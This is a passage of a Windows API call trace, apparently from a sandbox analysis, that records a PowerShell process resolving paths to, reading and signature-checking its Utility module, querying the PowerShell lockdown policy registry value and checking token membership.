lpFilePart=0x0) returned 0x9a [0131.836] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x9a, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x99 [0131.836] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9a [0131.836] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x9a, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x99 [0131.837] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9a [0131.837] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x9a, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x99 [0133.914] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1")) returned 0x20 [0133.920] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0133.920] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0133.920] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x59ecdd4, Length=0x20, ResultLength=0x59ece44 | out: SystemInformation=0x59ecdd4, ResultLength=0x59ece44*=0x0) returned 0xc0000003 [0133.921] GetSystemInfo (in: lpSystemInfo=0x59ece50 | out: lpSystemInfo=0x59ece50*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0133.921] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x59ecde0 | out: phkResult=0x59ecde0*=0x56c) returned 0x0 [0133.921] RegQueryValueExW (in: hKey=0x56c, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x59ecdfc, lpData=0x0, lpcbData=0x59ecdf8*=0x0 | out: lpType=0x59ecdfc*=0x0, lpData=0x0, lpcbData=0x59ecdf8*=0x0) returned 0x2 [0133.921] RegCloseKey (hKey=0x56c) returned 0x0 [0133.921] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0133.921] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0133.921] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ecb84) returned 1 [0133.921] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x2309bc0 | out: lpFileInformation=0x2309bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778)) returned 1 [0133.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ecb80) returned 1 [0133.922] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0133.922] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0133.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ecb44) returned 1 [0133.922] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x59ece08 | out: lpFileInformation=0x59ece08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778)) returned 1 [0133.922] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ecb40) returned 1 [0133.922] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0133.922] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0133.922] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0133.922] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0133.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ecad8) returned 1 [0133.922] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x59ecd9c | out: lpFileInformation=0x59ecd9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778)) returned 1 [0133.922] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ecad4) returned 1 [0133.922] CoTaskMemAlloc (cb=0x10) returned 0x4f4b5d8 [0133.922] CoTaskMemAlloc (cb=0x10) returned 0x4f4b5f0 [0133.922] CoTaskMemAlloc (cb=0xe4) returned 0x535af8 [0133.922] CoTaskMemAlloc (cb=0x30) returned 0x4f1dd58 [0133.922] WinVerifyTrust () returned 0x800b0100 [0133.935] CoTaskMemFree (pv=0x4f4b5d8) [0133.935] CoTaskMemFree (pv=0x4f1dd58) [0133.935] CryptCATHandleFromStore () returned 0x4ff4f8 [0133.935] WTHelperGetProvSignerFromChain () returned 0x0 [0133.935] CoTaskMemAlloc (cb=0x10) returned 0x4f4b5d8 [0133.935] CoTaskMemAlloc (cb=0x30) returned 0x4f1dd58 [0133.935] WinVerifyTrust () returned 0x0 [0133.935] CoTaskMemFree (pv=0x4f1dd58) [0133.935] CoTaskMemFree (pv=0x4f4b5d8) [0133.935] CoTaskMemFree (pv=0x535af8) [0133.935] CoTaskMemFree (pv=0x4f4b5f0) [0133.936] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0133.936] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0133.936] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ecd90) returned 1 [0133.936] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x56c [0133.936] GetFileType (hFile=0x56c) returned 0x1 [0133.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ecd8c) returned 1 [0133.936] GetFileType (hFile=0x56c) returned 0x1 [0133.936] SetFilePointer (in: hFile=0x56c, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ecdcc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ecdcc*=0) returned 0x0 [0133.936] ReadFile (in: hFile=0x56c, lpBuffer=0x230b3d4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ecdf8, lpOverlapped=0x0 | out: lpBuffer=0x230b3d4*, lpNumberOfBytesRead=0x59ecdf8*=0x1000, lpOverlapped=0x0) returned 1 [0133.937] SetFilePointer (in: hFile=0x56c, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ecdcc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ecdcc*=0) returned 0x1000 [0133.937] ReadFile (in: hFile=0x56c, lpBuffer=0x230b3d4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ecdf8, lpOverlapped=0x0 | out: lpBuffer=0x230b3d4*, lpNumberOfBytesRead=0x59ecdf8*=0x1000, lpOverlapped=0x0) returned 1 [0133.937] SetFilePointer (in: hFile=0x56c, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ecdcc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ecdcc*=0) returned 0x2000 [0133.937] ReadFile (in: hFile=0x56c, lpBuffer=0x230b3d4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ecdf8, lpOverlapped=0x0 | out: lpBuffer=0x230b3d4*, lpNumberOfBytesRead=0x59ecdf8*=0x1000, lpOverlapped=0x0) returned 1 [0133.937] SetFilePointer (in: hFile=0x56c, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ecdcc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ecdcc*=0) returned 0x3000 [0133.938] ReadFile (in: hFile=0x56c, lpBuffer=0x230b3d4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ecdf8, lpOverlapped=0x0 | out: lpBuffer=0x230b3d4*, lpNumberOfBytesRead=0x59ecdf8*=0x1000, lpOverlapped=0x0) returned 1 [0133.938] SetFilePointer (in: hFile=0x56c, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ecdcc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ecdcc*=0) returned 0x4000 [0133.938] ReadFile (in: hFile=0x56c, lpBuffer=0x230b3d4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ecdf8, lpOverlapped=0x0 | out: lpBuffer=0x230b3d4*, lpNumberOfBytesRead=0x59ecdf8*=0x1000, lpOverlapped=0x0) returned 1 [0133.938] SetFilePointer (in: hFile=0x56c, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ecdcc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ecdcc*=0) returned 0x5000 [0133.938] ReadFile (in: hFile=0x56c, lpBuffer=0x230b3d4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ecdf8, lpOverlapped=0x0 | out: lpBuffer=0x230b3d4*, lpNumberOfBytesRead=0x59ecdf8*=0x1000, lpOverlapped=0x0) returned 1 [0133.938] SetFilePointer (in: hFile=0x56c, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ecdcc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ecdcc*=0) returned 0x6000 [0133.938] ReadFile (in: hFile=0x56c, lpBuffer=0x230b3d4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ecdf8, lpOverlapped=0x0 | out: lpBuffer=0x230b3d4*, lpNumberOfBytesRead=0x59ecdf8*=0x1000, lpOverlapped=0x0) returned 1 [0133.939] SetFilePointer (in: hFile=0x56c, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ecdcc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ecdcc*=0) returned 0x7000 [0133.939] ReadFile (in: hFile=0x56c, lpBuffer=0x230b3d4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ecdf8, lpOverlapped=0x0 | out: lpBuffer=0x230b3d4*, lpNumberOfBytesRead=0x59ecdf8*=0x778, lpOverlapped=0x0) returned 1 [0133.939] SetFilePointer (in: hFile=0x56c, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ecdcc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ecdcc*=0) returned 0x7778 [0133.939] ReadFile (in: hFile=0x56c, lpBuffer=0x230aae0, nNumberOfBytesToRead=0x88, lpNumberOfBytesRead=0x59ecdf8, lpOverlapped=0x0 | out: lpBuffer=0x230aae0*, lpNumberOfBytesRead=0x59ecdf8*=0x0, lpOverlapped=0x0) returned 1 [0133.939] SetFilePointer (in: hFile=0x56c, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ecdcc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ecdcc*=0) returned 0x7778 [0133.939] ReadFile (in: hFile=0x56c, lpBuffer=0x230b3d4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ecdf8, lpOverlapped=0x0 | out: lpBuffer=0x230b3d4*, lpNumberOfBytesRead=0x59ecdf8*=0x0, lpOverlapped=0x0) returned 1 [0133.939] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x59ecd60, Length=0x20, ResultLength=0x59ecdd0 | out: SystemInformation=0x59ecd60, ResultLength=0x59ecdd0*=0x0) returned 0xc0000003 [0133.940] GetSystemInfo (in: lpSystemInfo=0x59ecddc | out: lpSystemInfo=0x59ecddc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0133.940] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x59ecd6c | out: phkResult=0x59ecd6c*=0x568) returned 0x0 [0133.940] RegQueryValueExW (in: hKey=0x568, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x59ecd88, lpData=0x0, lpcbData=0x59ecd84*=0x0 | out: lpType=0x59ecd88*=0x0, lpData=0x0, lpcbData=0x59ecd84*=0x0) returned 0x2 [0133.940] RegCloseKey (hKey=0x568) returned 0x0 [0133.940] CloseHandle (hObject=0x56c) returned 1 [0134.737] CoCreateGuid (in: pguid=0x59ecea0 | out: pguid=0x59ecea0*(Data1=0x8c50f419, Data2=0x747, Data3=0x4846, Data4=([0]=0xb2, [1]=0xa6, [2]=0xa7, [3]=0xef, [4]=0x2e, [5]=0xc6, [6]=0xcd, [7]=0x7d))) returned 0x0 [0134.738] GetTokenInformation (in: TokenHandle=0x564, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x59ece6c | out: TokenInformation=0x0, ReturnLength=0x59ece6c) returned 0 [0134.738] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x4f35c68 [0134.738] GetTokenInformation (in: TokenHandle=0x564, TokenInformationClass=0x8, TokenInformation=0x4f35c68, TokenInformationLength=0x4, ReturnLength=0x59ece6c | out: TokenInformation=0x4f35c68, ReturnLength=0x59ece6c) returned 1 [0134.738] LocalFree (hMem=0x4f35c68) returned 0x0 [0134.739] GetTokenInformation (in: TokenHandle=0x564, TokenInformationClass=0x9, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x59ece6c | out: TokenInformation=0x0, ReturnLength=0x59ece6c) returned 0 [0134.739] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x4f35c68 [0134.739] GetTokenInformation (in: TokenHandle=0x564, TokenInformationClass=0x9, TokenInformation=0x4f35c68, TokenInformationLength=0x4, ReturnLength=0x59ece6c | out: TokenInformation=0x4f35c68, ReturnLength=0x59ece6c) returned 1 [0134.739] LocalFree (hMem=0x4f35c68) returned 0x0 [0134.739] CheckTokenMembership (in: TokenHandle=0x564, SidToCheck=0x23aad78*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x59ece84 | out: IsMember=0x59ece84) returned 1 [0134.745] QueryPerformanceCounter (in: lpPerformanceCount=0x59ecc10 | out: lpPerformanceCount=0x59ecc10*=1177572219882) returned 1 [0134.745] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0134.745] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0134.745] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ec8fc) returned 1 [0134.746] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x59ecbc0 | out: lpFileInformation=0x59ecbc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778)) returned 1 [0134.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ec8f8) returned 1 [0134.746] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0134.746] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0134.746] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0134.746] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x4f1d7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0134.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59ec890) returned 1 [0134.747] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x59ecb54 | out: lpFileInformation=0x59ecb54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778)) returned 1 [0134.747] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59ec88c) returned 1 [0134.747] CoTaskMemAlloc (cb=0x10) returned 0x4f49088 [0134.747] CoTaskMemAlloc (cb=0x10) returned 0x4f4b5d8 [0134.747] CoTaskMemAlloc (cb=0xe4) returned 0x535af8 [0134.748] CoTaskMemAlloc (cb=0x30) returned 0x4f1ddc8 [0134.748] WinVerifyTrust () returned 0x800b0100 [0134.838] CoTaskMemFree (pv=0x4f49088) [0134.838] CoTaskMemFree (pv=0x4f1ddc8) [0134.838] CryptCATHandleFromStore () returned 0x4ff618 [0134.838] WTHelperGetProvSignerFromChain () returned 0x0 [0134.839] CoTaskMemAlloc (cb=0x10) returned 0x4f49088 [0134.839] CoTaskMemAlloc (cb=0x30) returned 0x4f1ddc8 [0134.839] WinVerifyTrust () returned 0x0 [0134.839] CoTaskMemFree (pv=0x4f1ddc8) [0134.839] CoTaskMemFree (pv=0x4f49088) [0134.839] CoTaskMemFree (pv=0x535af8) [0134.839] CoTaskMemFree (pv=0x4f4b5d8) [0134.846] CoCreateGuid (in: pguid=0x59ecaec | out: pguid=0x59ecaec*(Data1=0xc54e33cf, Data2=0x2537, Data3=0x477f, Data4=([0]=0x91, [1]=0x74, [2]=0xbe, [3]=0xab, [4]=0xbb, [5]=0x3c, [6]=0x7a, [7]=0x54))) returned 0x0 [0134.847] CoCreateGuid (in: pguid=0x59ecaec | out: pguid=0x59ecaec*(Data1=0xb830b970, Data2=0xa37a, Data3=0x42f9, Data4=([0]=0x82, [1]=0xed, [2]=0xa8, [3]=0x44, [4]=0xb2, [5]=0x39, [6]=0x4d, [7]=0xb1))) returned 0x0 [0134.847] CoCreateGuid (in: pguid=0x59ecaec | out: pguid=0x59ecaec*(Data1=0xc15ce3d3, Data2=0x221e, Data3=0x40a3, Data4=([0]=0x9e, [1]=0xc0, [2]=0x12, [3]=0xca, [4]=0xa5, [5]=0x5, [6]=0x10, [7]=0xd5))) returned 0x0 [0134.847] CoCreateGuid (in: pguid=0x59ecaec | out: pguid=0x59ecaec*(Data1=0x2cb20d5e, Data2=0xc436, Data3=0x4c18, Data4=([0]=0x91, [1]=0x66, [2]=0x3c, [3]=0xf3, [4]=0x9e, [5]=0x2e, [6]=0xe9, [7]=0xc4))) returned 0x0 [0134.850] CoCreateGuid (in: pguid=0x59ecaec | out: pguid=0x59ecaec*(Data1=0x7740d7ee, Data2=0xaead, Data3=0x4a44, Data4=([0]=0xb8, [1]=0xe4, [2]=0x7b, [3]=0x89, [4]=0x55, [5]=0x3e, [6]=0x10, [7]=0xb3))) returned 0x0 [0134.850] CoCreateGuid (in: pguid=0x59ecaec | out: pguid=0x59ecaec*(Data1=0xfc311fd3, Data2=0x191b, Data3=0x4733, Data4=([0]=0x8e, [1]=0xc1, [2]=0x84, [3]=0x5b, [4]=0xe3, [5]=0xe5, [6]=0xf2, [7]=0x29))) returned 0x0 [0135.009] RegOpenKeyExW (in: hKey=0x80000002, 